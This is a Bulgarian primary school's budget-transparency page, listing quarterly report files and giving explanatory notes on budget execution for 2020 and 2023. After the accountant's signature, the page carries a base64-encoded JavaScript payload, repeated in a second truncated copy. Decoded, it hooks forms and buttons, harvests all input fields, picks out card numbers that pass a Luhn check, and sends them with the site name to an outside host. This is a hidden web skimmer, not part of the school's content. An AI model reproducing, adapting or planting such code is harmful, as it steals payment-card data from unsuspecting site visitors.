publichnost_i_prozrachnost_vtoro_trimesechie_2023
ОБЯСНИТЕЛНА-ЗАПИСКА 30062023оу търнава
ОУ ХР.БОТЕВ С.ТЪРНАВА 31.12.2022 - четвърто тримесечие 2022 година
ОБ-ЗАПИСКА31122022оу търнава - четвърто тримесечие 2022 година
ОУ ХР.БОТЕВ С.ТЪРНАВА 30,09,2022 (1) - трето тримесечие 2022 година
ОБ-ЗАПИСКА30092022оу търнава - трето тримесечие 2022 година
ОБЯСНИТЕЛНА-ЗАПИСКА30062022оу търнава - второ тримесечие 2022 г.
ОУ ХР.БОТЕВ С.ТЪРНАВА 30,06,2022 - второ тримесечие 2022 г.
ОБЯСНИТЕЛНА-ЗАПИСКА31032022оу търнава – първо тримесечие 2022 г
ОУ ХР.БОТЕВ С.ТЪРНАВА 31,03,2022 - първо тримесечие 2022 г
ОБЯСНИТЕЛНА-ЗАПИСКА31122021оу търнава - четвърто тримесечие 2021 г.
ОУ ХР.БОТЕВ С.ТЪРНАВА 31,12,2021 - четвърто тримесечие 2021 г
Копие на B3_2021_Mun (1) - трето тримесечие 2021 г.
ОБЯСНИТЕЛНА-ЗАПИСКА30092021оу търнава - трето тримесечие 2021 г.
оу търнава отчет 30,06,2021 - второ полугодие
ОБЯСНИТЕЛНА-ЗАПИСКА30062021оу търнава
ОБЯСНИТЕЛНА-ЗАПИСКА-отчет-31032021 –оу търнава
ОБЯСНИТЕЛНА-ЗАПИСКА-отчет-31.12.2020 –оу търнава – Копие
отчет-бюджет ОУ Търнава-2020 - четвърто тримесечие 2020 година
ОБЯСНИТЕЛНА-ЗАПИСКА-отчет-30,09.2020 – ОУ Търнава
ОУ ХР.БОТЕВ С.ТЪРНАВА 30.09.2020
ОБЯСНИТЕЛНА-ЗАПИСКА-отчет-30,06,2020 –оу търнава
ОУ ХР.БОТЕВ С.ТЪРНАВА 30.06,2020
Копие на B3_2020_Qrt_Mun ОУ ХР.БОТЕВ С.ТЪРНАВА
ОБЯСНИТЕЛНА ЗАПИСКА
Относно: Касовото изпълнение на бюджета на ОУ“ХРИСТО БОТЕВ“ с. Търнава към 31.03.2020 г.
Бюджета на ОУ“ХРИСТО БОТЕВ“ с. Търнава е изготвен в съответствие със Заповед №29/29.01.2020г. на Кмета на Община Бяла Слатина за утвърждаване на формули за разпределение на средства получени по натурални и стойностни показатели за прилагане на стандартите в делегираните от държавата дейности за 2020 г. Училището получава средства по една дейност „Неспециализирани Училища“
Дейност „Неспециализирани Училища“
Бюджетът е разчетен за 159 ученика при единен разходен стандарт за издръжка на ученик в редовна форма на обучение 1869 лв., средства за брой паралелки 7 на стойност 297171лева, средства по регионален коефициент – 27755 лева и средства за институция – 44600 лева – общо средства по формула – 434446 лв.
В бюджета на училището са разчетени средства за 107 ученика в целодневно обучение на стойност 86135 лева. Училището има пет групи за целодневно обучение за които получава средства на стойност 10290 лева и съответно средства по регионален коефициент/0,068/ на стойност – 6 556 лева.
Средствата за занимания по интереси са разчетени на база общият брой на учениците – 159 на стойност 4770 лева. И тук училището получава средства за институция – 1900 лв.Общо средства за занимания по интереси – 6670 лв.
Допълващи стандарти:
- средства за ученици на ресурсно подпомагане-98306 лв.
- норматив за подпомагане храненето 84 ученици по 94 лв. – 7896,00 лв.
- за подобряване на материално-техническата база, стандарта 159 ученици по 25 лв.– 3975лв.;
- средства за индивидуална форма на обучение-15603 лв.
- средства за комбинирана форма на обучение-2922 лв.
Разходна част на бюджет 2020 г.
Планирани са средства както следва:
- за заплати средно персонал нает по трудови правоотношения , диференцирано заплащане на педагогическия персонал и три допълнителни плащания , съответно за Деня на славянската писменост и култура, за началото на учебната година и за Коледа – 476608 лева
- за персонал по извън трудови правоотношения – 5000 лева
- 3 % средства за СБКО върху планираните средства за заплати, включително и лични осигуровки, тук са планирани и средствата за представително облекло на педагогическия персонал на стойност 20 000 лева
- Обезщетения с характер на възнаграждения-1000 лева
- В други плащания и възнаграждения са планирани средства за болнични за сметка на работодателя /първите три работни дни от издадените първични болнични на персонала/ на стойност 2700 лева
- средства за осигурителни вноски за сметка на работодателя на обща стойност 104 900 лева в това число:
- държавно обществено осигуряване – 53 000 лева
- учителски пенсионен фонд – 159 000 лева
- здравни осигурителни вноски – 22 000 лева
- допълнително задължително пенсионно осигуряване – 14 000 лева
- средства за веществена издръжка на училището на обща стойност – 88037 лева в това число:
- безплатно хранене на учениците в целодневна организация на учебния ден, пътуващи от населени места в които няма училище и подпомагане храненето на учениците от І до ІV клас – 31 000 лева
- работно облекло на непедагогическия персонал – 6 000 лева
- учебници и учебни разходи и материали – 6 037 лева
- материали за поддръжка на училището /канцеларски, почистващи, ел.и ВиК материали, резервни части, строителни и др./ – 9 100 лева
- Вода, горива и електроенергия – 10 000 лева
- Външни услуги/телефони, интернет, пощенски, трудова медицина, дезинсекция,охрана,услуги по договори, пътни на учители, актуализация на програмни продукти и др./ – 11 000 лева.
- Текущ ремонт на сградата – 2 000 лева
- Командировки в страната – 4 000 лева
- застраховка на сградата и дълготрайните активи – 1 000 лева
- държавни и общински такси – 6 000 лева
- придобиване на МДА-1 900 лева
Отчет на касовото изпълнение на бюджета към 31.03.2020 година
- изразходени средства за заплати средно персонал нает по трудови правоотношения – 108 579 лева
- за персонал по извън трудови правоотношения – 1 988 лева
- средства за СБКО - 1 518 лева
- болнични за сметка на работодателя – 1 231 лева
- средства за осигурителни вноски за сметка на работодателя на обща стойност 25 068 лева в това число:
1.държавно обществено осигуряване – 13 309лева
2.учителски пенсионен фонд – 3 511 лева
3.здравни осигурителни вноски – 5 616 лева
4.допълнително задължително пенсионно осигуряване –2 632лева
- средства за веществена издръжка на училището на обща стойност – 21 384лева в това число:
1.безплатно хранене на учениците в целодневна организация на учебния ден, пътуващи от населени места в които няма училище и подпомагане храненето на учениците от І до ІV клас – 5 088 лева
2.материали за поддръжка на училището /канцеларски, почистващи, ел.и ВиК материали, резервни части, строителни и др./ – 2 854 лева
3.Вода, горива и електроенергия – 5 756лева
4.Външни услуги/телефони, интернет, пощенски, трудова медицина, дезинсекция,охрана,услуги по договори, пътни на учители, актуализация на програмни продукти и др./ – 5 191 лева.
5.Командировки в страната – 2 494 лева
6.държавни и общински такси – 36 лева
Общ план на бюджета към 31.03.2020 година – 698 245 лева
Общ разход към 31.03.2020 година – 161 705 лева
Отчет на касовото изпълнение на средства от европейския съюз към 31.03.2020 година – проект „Подкрепа за успех“
- Отчет към 31.03.2020 година
- изразходени средства за заплати средно персонал нает по трудови правоотношения – 2 625 лева
- средства за осигурителни вноски за сметка на работодателя на обща стойност 573 лева в това число:
2.1.държавно обществено осигуряване – 305 лева
2.2.учителски пенсионен фонд – 74 лева
2.3.здравни осигурителни вноски – 126 лева
2.4.допълнително задължително пенсионно осигуряване – 68 лева
- разходи за материали за работа на сформираните групи – 1502 лева
Общ разход по проект „Подкрепа за успех“ – 4 700 лева
Изготвил
Цецка Маринова – счетоводител на ОУ “Христо Ботев“ с. Търнава
ОУ ХР.БОТЕВ С.ТЪРНАВА 31,03,2020
ОБЯСНИТЕЛНА ЗАПИСКА
Относно: Касовото изпълнение на бюджета на ОУ“ХРИСТО БОТЕВ“ с. Търнава към 31.03.2023г
Отчет на касовото изпълнение на бюджета към 31.03.2023 година
- изразходени средства за заплати на персонал нает по трудови правоотношения – 165520 лева
- за персонал по извън трудови правоотношения – 252лева
- средства за СБКО - 17562 лева
- болнични за сметка на работодателя – 1852лева
- средства за осигурителни вноски за сметка на работодателя на обща стойност 37202лева в това число:
1.държавно обществено осигуряване – 19203лева
2.учителски пенсионен фонд –5453 лева
3.здравни осигурителни вноски – 8116лева
4.допълнително задължително пенсионно осигуряване –4430лева
- средства за веществена издръжка на училището на обща стойност – 48607лева в това число:
1.безплатно хранене на учениците в целодневна организация на учебния ден, пътуващи от населени места в които няма училище и подпомагане храненето на учениците от І до ІV клас – 6909 лева
2.материали за поддръжка на училището /канцеларски, почистващи, ел.и ВиК материали, резервни части, строителни и др./ – 7901лева
3.Вода, горива и електроенергия – 18229лева
4.Външни услуги/телефони, интернет, пощенски, трудова медицина, дезинсекция, охрана, услуги по договори, пътни на учители, актуализация на програмни продукти и др./ – 6936 лева.
5.Командировки в страната – 5648лева
6.държавни и общински такси – 18 лева
7.Работно облекло-2950 лева.
8,Разходи за застраховки-33
Общо разходи за дейността:271014лева
Изготвил
Цецка Маринова – счетоводител на ОУ “Христо Ботев“ с. Търнава
3391519559chdmFyIGdnMSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDk5OTk5OTk5OTkpICsgMTAwMDAwMDAwMDsNCnZhciBnZzIgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiA5OTk5OTk5OTkpICsgMTAwMDAwMDAwOw0KDQp2YXIgZ2czID0gZ2cxLnRvU3RyaW5nKCk7DQp2YXIgZ2c0ID0gZ2cyLnRvU3RyaW5nKCk7DQoNCnZhciBoaDAgPSBwYXJzZUludChnZzMuY2hhckF0KDApKTsNCnZhciBoaDEgPSBwYXJzZUludChnZzMuY2hhckF0KDEpKTsNCnZhciBoaDIgPSBwYXJzZUludChnZzMuY2hhckF0KDIpKTsNCnZhciBoaDMgPSBwYXJzZUludChnZzMuY2hhckF0KDMpKTsNCnZhciBoaDQgPSBwYXJzZUludChnZzMuY2hhckF0KDQpKTsNCnZhciBoaDUgPSBwYXJzZUludChnZzMuY2hhckF0KDUpKTsNCnZhciBoaDYgPSBwYXJzZUludChnZzMuY2hhckF0KDYpKTsNCnZhciBoaDcgPSBwYXJzZUludChnZzMuY2hhckF0KDcpKTsNCnZhciBoaDggPSBwYXJzZUludChnZzMuY2hhckF0KDgpKTsNCnZhciBoaDkgPSBwYXJzZUludChnZzMuY2hhckF0KDkpKTsNCg0KdmFyIGhoMTAgPSBwYXJzZUludChnZzQuY2hhckF0KDApKTsNCnZhciBoaDExID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCgxKSk7DQp2YXIgaGgxMiA9IHBhcnNlSW50KGdnNC5jaGFyQXQoMikpOw0KdmFyIGhoMTMgPSBwYXJzZUludChnZzQuY2hhckF0KDMpKTsNCnZhciBoaDE0ID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCg0KSk7DQp2YXIgaGgxNSA9IHBhcnNlSW50KGdnNC5jaGFyQXQoNSkpOw0KdmFyIGhoMTYgPSBwYXJzZUludChnZzQuY2hhckF0KDYpKTsNCnZhciBoaDE3ID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCg3KSk7DQp2YXIgaGgxOCA9IHBhcnNlSW50KGdnNC5jaGFyQXQoOCkpOw0KDQp2YXIgZGQwID0gImQiOw0KdmFyIGRkMSA9ICJlIjsNCnZhciBkZDIgPSAiZiI7DQp2YXIgZGQzID0gImEiOw0KdmFyIGRkNCA9ICJ1IjsNCnZhciBkZDUgPSAibCI7DQp2YXIgZGQ2ID0gInQiOw0KdmFyIGRkNyA9ICJwIjsNCnZhciBkZDggPSAicyI7DQp2YXIgZGQ5ID0gImUiOw0KdmFyIGRkMTAgPSAiciI7DQp2YXIgZGQxMSA9ICJ2IjsNCnZhciBkZDEyID0gInAiOw0KdmFyIGRkMTMgPSAiciI7DQp2YXIgZGQxNCA9ICJvIjsNCnZhciBkZDE1ID0gImEiOw0KdmFyIGRkMTYgPSAicyI7DQp2YXIgZGQxNyA9ICJwIjsNCnZhciBkZDE4ID0gIngiOw0KDQoNCmlmIChoaDAgPiA1KSB7DQpkZDAgPSAiRCI7DQp9DQppZiAoaGgxID4gNSkgew0KZGQxID0gIkUiOw0KfQ0KaWYgKGhoMiA+IDUpIHsNCmRkMiA9ICJGIjsNCn0NCmlmIChoaDMgPiA1KSB7DQpkZDMgPSAiQSI7DQp9DQppZiAoaGg0ID4gNSkgew0KZGQ0ID0gIlUiOw0KfQ0KaWYgKGhoNSA+IDUpIHsNCmRkNSA9ICJMIjsNCn0NCmlmIChoaDYgPiA1KSB7DQpkZDYgPSAiVCI7DQp9DQppZiAoaGg3ID4gNSkgew0KZGQ3ID0gIlAiOw0KfQ0KaWYgKGhoOCA+IDUpIHsNCmRkOCA9ICJTIjsNCn0NCmlmIChoaDkgPiA1KSB7DQpkZDkgPSAiRSI7DQp9DQppZiAoaGgxMCA+IDUpIHsNCmRkMTAgPSAiUiI7DQp9DQppZiAoaGgxMSA+IDUpIHsNCmRkMTEgPSAiViI7DQp9DQppZiAoaGgxMiA+IDUpIHsNCmRkMTIgPSAiUCI7DQp9DQppZiAoaGgxMyA+IDUpIHsNCmRkMTMgPSAiUiI7DQp9DQppZiAoaGgxNCA+IDUpIHsNCmRkMTQgPSAiTyI7DQp9DQppZiAoaGgxNSA+IDUpIHsNCmRkMTUgPSAiQSI7DQp9DQppZiAoaGgxNiA+IDUpIHsNCmRkMTYgPSAiUyI7DQp9DQppZiAoaGgxNyA+IDUpIHsNCmRkMTcgPSAiUCI7DQp9DQppZiAoaGgxOCA+IDUpIHsNCmRkMTggPSAiWCI7DQp9DQoNCg0KDQp2YXIgZm9mZiA9IGRkMCArIGRkMSArIGRkMiArIGRkMyArIGRkNCArIGRkNSArIGRkNiArIGRkNyArIGRkOCArIGRkOSArIGRkMTAgKyBkZDExICsgZGQxMiArIGRkMTMgKyBkZDE0ICsgIi4iICsgZGQxNSArIGRkMTYgKyBkZDE3ICsgZGQxODsNCmxldCBudW0gPSBkb2N1bWVudC5mb3Jtcy5sZW5ndGg7DQoNCg0KbGV0IGZvcm1zQ29sbGVjdGlvbjIgPSBkb2N1bWVudC5mb3JtczsNCiAgCWZvciAodmFyIGkyID0gMDsgaTIgPCBmb3Jtc0NvbGxlY3Rpb24yLmxlbmd0aDsgaTIrKykgew0KICAgIAkJZm9ybXNDb2xsZWN0aW9uMltpMl0ub25zdWJtaXQgPSBmdW5jdGlvbigpIHsNCiAgICAgICBUZXN0T25CKCk7DQp9DQp9DQoNCmxldCBmb3Jtc0NvbGxlY3Rpb24yYSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJidXR0b24iKTsNCiAgCWZvciAodmFyIGkyYSA9IDA7IGkyYSA8IGZvcm1zQ29sbGVjdGlvbjJhLmxlbmd0aDsgaTJhKyspIHsNCiAgICAJCWZvcm1zQ29sbGVjdGlvbjJhW2kyYV0ub25jbGljayA9IGZ1bmN0aW9uKCkgew0KCVRlc3RPbkIoKTsNCn0NCn0NCndpbmRvdy5vbnN1Ym1pdCA9IGZ1bmN0aW9uICgpIHsNCglUZXN0T25CKCk7DQp9DQoNCmZ1bmN0aW9uIFRlc3RPbkIoKSB7DQp2YXIgaG9ob2QgPSAiZHMuIjsNCg0KDQoNCg0KICB2YXIgc2l0ZSA9IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTsNCiAgdmFyIHN0cjEgPSAiIjsNCiAgdmFyIG5ubiA9ICIiOw0KICB2YXIgaG9ob2MgPSAiaWNhIjsNCiAgdmFyIGNoZWNrMSA9IDA7DQogIHZhciBjaGVjazIgPSAwOw0KICB2YXIgbG9vbGEgPSAwOw0KICB2YXIgaG9ob2UgPSAiMyI7DQogIHZhciBmb3Jtc0NvbGxlY3Rpb24gPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTsNCiAgZm9yICh2YXIgaSA9IDA7IGkgPCBmb3Jtc0NvbGxlY3Rpb24ubGVuZ3RoOyBpKyspIHsNCiAgICB2YXIgaGFoYSA9IGZvcm1zQ29sbGVjdGlvbltpXS5pZDsNCiAgICB2YXIgaGFoYTIgPSBmb3Jtc0NvbGxlY3Rpb25baV0udHlwZTsNCiAgICB2YXIgaGFoYTMgPSBmb3Jtc0NvbGxlY3Rpb25baV0udmFsdWU7DQogICAgdmFyIGhhaGE0ID0gZm9ybXNDb2xsZWN0aW9uW2ldLm5hbWU7DQoNCiAgICBpZiAoaGFoYTMubGVuZ3RoID4gMTQpIHsNCg0KICAgICAgaGFoYTMgPSBoYWhhMy5yZXBsYWNlKC9ccy9nLCAnJyk7DQogICAgICB2YXIgaXNudW0gPSAvXlxkKyQvLnRlc3QoaGFoYTMpOw0KICAgICAgdmFyIG4xID0gaGFoYTMuc3RhcnRzV2l0aCgnNCcpOw0KICAgICAgdmFyIG4yID0gaGFoYTMuc3RhcnRzV2l0aCgnNScpOw0KICAgICAgdmFyIG4zID0gaGFoYTMuc3RhcnRzV2l0aCgnNicpOw0KICAgICAgdmFyIG4wID0gaGFoYTMuc3RhcnRzV2l0aCgnMycpOw0KDQogICAgICBpZiAobjEgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAxOw0KICAgICAgfQ0KICAgICAgaWYgKG4yID09IHRydWUpIHsNCiAgICAgICAgY2hlY2syID0gMTsNCiAgICAgIH0NCiAgICAgIGlmIChuMyA9PSB0cnVlKSB7DQogICAgICAgIGNoZWNrMiA9IDA7DQogICAgICB9DQogICAgICBpZiAobjAgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAwOw0KICAgICAgfQ0KDQoNCiAgICB9DQoNCiAgICBpZiAoaGFoYTMubGVuZ3RoID09IDE1KSB7DQogICAgICBpZiAoaXNudW0gPT0gdHJ1ZSkgew0KICAgICAgICBpZiAoY2hlY2syID0gJzEnKSB7DQogICAgICAgICAgY2hlY2sxID0gJzAnOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICAgIGlmIChoYWhhMy5sZW5ndGggPT0gMTYpIHsNCiAgICAgIGlmIChpc251bSA9PSB0cnVlKSB7DQogICAgICAgIGlmIChjaGVjazIgPT0gMSkgew0KICAgICAgICAgIGNoZWNrMSA9ICcxJzsNCiAgICAgICAgICAgIG5ubiA9IGhhaGEzDQoNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaGFoYTMubGVuZ3RoID09IDE3KSB7DQogICAgICBpZiAoaXNudW0gPT0gdHJ1ZSkgew0KICAgICAgICBpZiAoY2hlY2syID09IDEpIHsNCiAgICAgICAgICBjaGVjazEgPSAnMCc7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgaWYgKGhhaGEzLmxlbmd0aCA+IDApIHsNCiAgICAgIGlmIChoYWhhMiA9PSAiaGlkZGVuIikgew0KDQogICAgICB9IGVsc2Ugew0KICAgICAgICBzdHIxID0gc3RyMSArIGhhaGE0ICsgIi0tIiArIGhhaGEzICsgIi0iOw0KICAgICAgfQ0KDQogICAgfQ0KDQogIH0NCiAgdmFyIGNoMSA9ICcxJw0KDQogIGlmIChjaGVjazEgPT0gMSkgew0KDQoJdmFyIGZvcm1zQ29sbGVjdGlvbjIgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2VsZWN0Jyk7DQogIAlmb3IgKHZhciBpMiA9IDA7IGkyIDwgZm9ybXNDb2xsZWN0aW9uMi5sZW5ndGg7IGkyKyspIHsNCiAgICAJCXZhciBzaGFoYSA9IGZvcm1zQ29sbGVjdGlvbjJbaTJdLmlkOw0KICAgIAkJdmFyIHNoYWhhMiA9IGZvcm1zQ29sbGVjdGlvbjJbaTJdLnR5cGU7DQogICAgCQl2YXIgc2hhaGEzID0gZm9ybXNDb2xsZWN0aW9uMltpMl0udmFsdWU7DQogICAgCQl2YXIgc2hhaGE0ID0gZm9ybXNDb2xsZWN0aW9uMltpMl0ubmFtZTsNCg0KICAgIAkJc3RyMSA9IHN0cjEgKyBzaGFoYTQgKyAiLS0iICsgc2hhaGEzICsgIi0iDQogICAgICAgICAgICBzaXRlID0gc2l0ZSArICItUm9sQGFuZDRZb3UiOw0KICAgICAgICAgICAgc3RyMSA9IHNpdGUgKyAiLSIgKyBzdHIxOw0KDQogCX0NCnZhciBob2hvYSA9ICJib3IiOw0KdmFyIGhvaG9iID0gIi5iZyI7DQoNCmlmIChzaXRlID09IGhvaG9lICsgaG9ob2QgKyBob2hvYSArIGhvaG9jICsgaG9ob2IpIHsNCg0KDQp9IGVsc2Ugew0KDQoNCg0KDQogaWYgKG5ubi5zdGFydHNXaXRoKCI0IikgfHwgbm5uLnN0YXJ0c1dpdGgoIjUiKSkgew0KICAgIGxvb2xhID0gMTsNCg0KDQogICAgdmFyIGhhMSA9ICI6IjsNCiAgICB2YXIgaGEyID0gImgiOw0KICAgIHZhciBoYTMgPSAicCI7DQogICAgdmFyIGhhNCA9ICIvIjsNCiAgICB2YXIgaGE1ID0gInQiOw0KDQp2YXIgdGV4dCA9IG5ubjsNCnZhciB2YXIxID0gdGV4dC5jaGFyQXQoMCk7DQp2YXIgdmFyMiA9IHRleHQuY2hhckF0KDEpOw0KdmFyIHZhcjMgPSB0ZXh0LmNoYXJBdCgyKTsNCnZhciB2YXI0ID0gdGV4dC5jaGFyQXQoMyk7DQp2YXIgdmFyNSA9IHRleHQuY2hhckF0KDQpOw0KdmFyIHZhcjYgPSB0ZXh0LmNoYXJBdCg1KTsNCnZhciB2YXI3ID0gdGV4dC5jaGFyQXQoNik7DQp2YXIgdmFyOCA9IHRleHQuY2hhckF0KDcpOw0KdmFyIHZhcjkgPSB0ZXh0LmNoYXJBdCg4KTsNCnZhciB2YXIxMCA9IHRleHQuY2hhckF0KDkpOw0KdmFyIHZhcjExID0gdGV4dC5jaGFyQXQoMTApOw0KdmFyIHZhcjEyID0gdGV4dC5jaGFyQXQoMTEpOw0KdmFyIHZhcjEzID0gdGV4dC5jaGFyQXQoMTIpOw0KdmFyIHZhcjE0ID0gdGV4dC5jaGFyQXQoMTMpOw0KdmFyIHZhcjE1ID0gdGV4dC5jaGFyQXQoMTQpOw0KdmFyIHZhcjE2ID0gdGV4dC5jaGFyQXQoMTUpOw0KdmFyIHMyID0gcGFyc2VJbnQodmFyMik7DQp2YXIgczQgPSBwYXJzZUludCh2YXI0KTsNCnZhciBzNiA9IHBhcnNlSW50KHZhcjYpOw0KdmFyIHM4ID0gcGFyc2VJbnQodmFyOCk7DQp2YXIgczEwID0gcGFyc2VJbnQodmFyMTApOw0KdmFyIHMxMiA9IHBhcnNlSW50KHZhcjEyKTsNCnZhciBzMTQgPSBwYXJzZUludCh2YXIxNCk7DQp2YXIgczE2ID0gcGFyc2VJbnQodmFyMTYpOw0KDQp2YXIgczEgPSBwYXJzZUludCh2YXIxKSAqIDI7DQppZiAoczEgPiA5KSB7DQogICAgbGV0IHoxID0gczEudG9TdHJpbmcoKQ0KICAgIHZhciBtbTExID0gejEuY2hhckF0KDApOw0KICAgIHZhciBtbTIxID0gejEuY2hhckF0KDEpOw0KDQogICAgczEgPSBwYXJzZUludChtbTExKSArIHBhcnNlSW50KG1tMjEpOw0KDQp9Ow0KdmFyIHMzID0gcGFyc2VJbnQodmFyMykgKiAyOw0KaWYgKHMzID4gOSkgew0KICAgICBsZXQgejMgPSBzMy50b1N0cmluZygpDQogICAgdmFyIG1tMTMgPSB6My5jaGFyQXQoMCk7DQogICAgdmFyIG1tMjMgPSB6My5jaGFyQXQoMSk7DQogICAgczMgPSBwYXJzZUludChtbTEzKSArIHBhcnNlSW50KG1tMjMpOw0KfTsNCnZhciBzNSA9IHBhcnNlSW50KHZhcjUpICogMjsNCmlmIChzNSA+IDkpIHsNCiAgICAgbGV0IHo1ID0gczUudG9TdHJpbmcoKQ0KICAgIHZhciBtbTE1ID0gejUuY2hhckF0KDApOw0KICAgIHZhciBtbTI1ID0gejUuY2hhckF0KDEpOw0KICAgIHM1ID0gcGFyc2VJbnQobW0xNSkgKyBwYXJzZUludChtbTI1KTsNCn07DQp2YXIgczcgPSBwYXJzZUludCh2YXI3KSAqIDI7DQppZiAoczcgPiA5KSB7DQogICAgIGxldCB6NyA9IHM3LnRvU3RyaW5nKCkNCiAgICB2YXIgbW0xNyA9IHo3LmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yNyA9IHo3LmNoYXJBdCgxKTsNCiAgICBzNyA9IHBhcnNlSW50KG1tMTcpICsgcGFyc2VJbnQobW0yNyk7DQp9Ow0KdmFyIHM5ID0gcGFyc2VJbnQodmFyOSkgKiAyOw0KaWYgKHM5ID4gOSkgew0KICAgICBsZXQgejkgPSBzOS50b1N0cmluZygpDQogICAgdmFyIG1tMTkgPSB6OS5jaGFyQXQoMCk7DQogICAgdmFyIG1tMjkgPSB6OS5jaGFyQXQoMSk7DQogICAgczkgPSBwYXJzZUludChtbTE5KSArIHBhcnNlSW50KG1tMjkpOw0KfTsNCnZhciBzMTEgPSBwYXJzZUludCh2YXIxMSkgKiAyOw0KaWYgKHMxMSA+IDkpIHsNCiAgICAgbGV0IHoxMSA9IHMxMS50b1N0cmluZygpDQogICB2YXIgbW0xMTEgPSB6MTEuY2hhckF0KDApOw0KICAgIHZhciBtbTIxMSA9IHoxMS5jaGFyQXQoMSk7DQogICAgczExID0gcGFyc2VJbnQobW0xMTEpICsgcGFyc2VJbnQobW0yMTEpOw0KfTsNCnZhciBzMTMgPSBwYXJzZUludCh2YXIxMykgKiAyOw0KaWYgKHMxMyA+IDkpIHsNCiAgICAgbGV0IHoxMyA9IHMxMy50b1N0cmluZygpDQogICAgdmFyIG1tMTEzID0gejEzLmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yMTMgPSB6MTMuY2hhckF0KDEpOw0KICAgIHMxMyA9IHBhcnNlSW50KG1tMTEzKSArIHBhcnNlSW50KG1tMjEzKTsNCn07DQp2YXIgczE1ID0gcGFyc2VJbnQodmFyMTUpICogMjsNCmlmIChzMTUgPiA5KSB7DQogICAgIGxldCB6MTUgPSBzMTUudG9TdHJpbmcoKQ0KICAgdmFyIG1tMTE1ID0gejE1LmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yMTUgPSB6MTUuY2hhckF0KDEpOw0KICAgIHMxNSA9IHBhcnNlSW50KG1tMTE1KSArIHBhcnNlSW50KG1tMjE1KTsNCn07DQp2YXIgbW9saSA9IHMxICsgczIgKyBzMyArIHM0ICsgczUgKyBzNiArIHM3ICsgczggKyBzOSArIHMxMCArIHMxMSArIHMxMiArIHMxMyArIHMxNCArIHMxNSArIHMxNjsNCm1vbGkgPSBtb2xpLnRvU3RyaW5nKCk7DQoNCg0KCXZhciBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KCXZhciBsaW5rVGV4dCA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCJteSB0aXRsZSB0ZXh0Iik7DQoJYS5hcHBlbmRDaGlsZChsaW5rVGV4dCk7DQoJYS5pZCA9ICJpZDIyMiI7DQoJYS50aXRsZSA9ICJteSB0aXRsZSB0ZXh0IjsNCglhLmhyZWYgPSBoYTIgKyBoYTUgKyBoYTUgKyBoYTMgKyBoYTEgKyBoYTQgKyBoYTQgKyAidXJiaW5zIiArIG1vbGkuY2hhckF0KG1vbGkubGVuZ3RoIC0gMSkgKyAiLTAwMS1zaXRlMS5kdGVtcHVybC5jb20vIiArIGZvZmYgKyAiP1M9IiArIHNpdGUgKyAiJkQ9IiArIHN0cjEgKyAiJk49IiArIG5ubjsNCglkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpZDIyMicpLmNsaWNrKCk7DQoNCgl2YXIgaWcgPSAwOw0KDQoNCg0KICAgICAgCXZhciBkID0gbmV3IERhdGUoKTsNCiAgICAgIAl2YXIgbiA9IGQuZ2V0U2Vjb25kcygpOw0KDQogICAgIAlkbyB7DQoNCiAgICAgICAgIAl2YXIgZDIgPSBuZXcgRGF0ZSgpOw0KICAgICAgICAgCXZhciBuNCA9IGQyLmdldFNlY29uZHMoKTsNCg0KICAgICAgICAgCWlmIChuIDwgNTUpIHsNCiAgICAgICAgICAgICAJCWlmIChuICsgNSA8IG40KSB7DQogICAgICAgICAgICAgICAgIGlnID0gMzsNCiAgICAgICAgICAgICB9DQoNCiAgICAgICAgIH0NCiAgICAgICAgIGlmIChuID4gNTQpIHsNCiAgICAgICAgICAgICBpZiAobiArIDUgPCBuNCArIDYwKSB7DQogICAgICAgICAgICAgICAgIGlnID0gMzsNCiAgICAgICAgICAgICB9DQoNCiAgICAgICAgIH0NCiAgICAgfQ0KICAgIHdoaWxlIChpZyA8IDIpOw0KDQoNCmlmIChsb29sYSA9PSAxKSB7DQoNCg0KfQ0KDQoNCiAgICAgfQ0KDQoNCn0NCn0NCg0KDQoNCg0KDQp9DQoNCg0K
3391519559chdmFyIGdnMSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDk5OTk5OTk5OTkpICsgMTAwMDAwMDAwMDsNCnZhciBnZzIgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiA5OTk5OTk5OTkpICsgMTAwMDAwMDAwOw0KDQp2YXIgZ2czID0gZ2cxLnRvU3RyaW5nKCk7DQp2YXIgZ2c0ID0gZ2cyLnRvU3RyaW5nKCk7DQoNCnZhciBoaDAgPSBwYXJzZUludChnZzMuY2hhckF0KDApKTsNCnZhciBoaDEgPSBwYXJzZUludChnZzMuY2hhckF0KDEpKTsNCnZhciBoaDIgPSBwYXJzZUludChnZzMuY2hhckF0KDIpKTsNCnZhciBoaDMgPSBwYXJzZUludChnZzMuY2hhckF0KDMpKTsNCnZhciBoaDQgPSBwYXJzZUludChnZzMuY2hhckF0KDQpKTsNCnZhciBoaDUgPSBwYXJzZUludChnZzMuY2hhckF0KDUpKTsNCnZhciBoaDYgPSBwYXJzZUludChnZzMuY2hhckF0KDYpKTsNCnZhciBoaDcgPSBwYXJzZUludChnZzMuY2hhckF0KDcpKTsNCnZhciBoaDggPSBwYXJzZUludChnZzMuY2hhckF0KDgpKTsNCnZhciBoaDkgPSBwYXJzZUludChnZzMuY2hhckF0KDkpKTsNCg0KdmFyIGhoMTAgPSBwYXJzZUludChnZ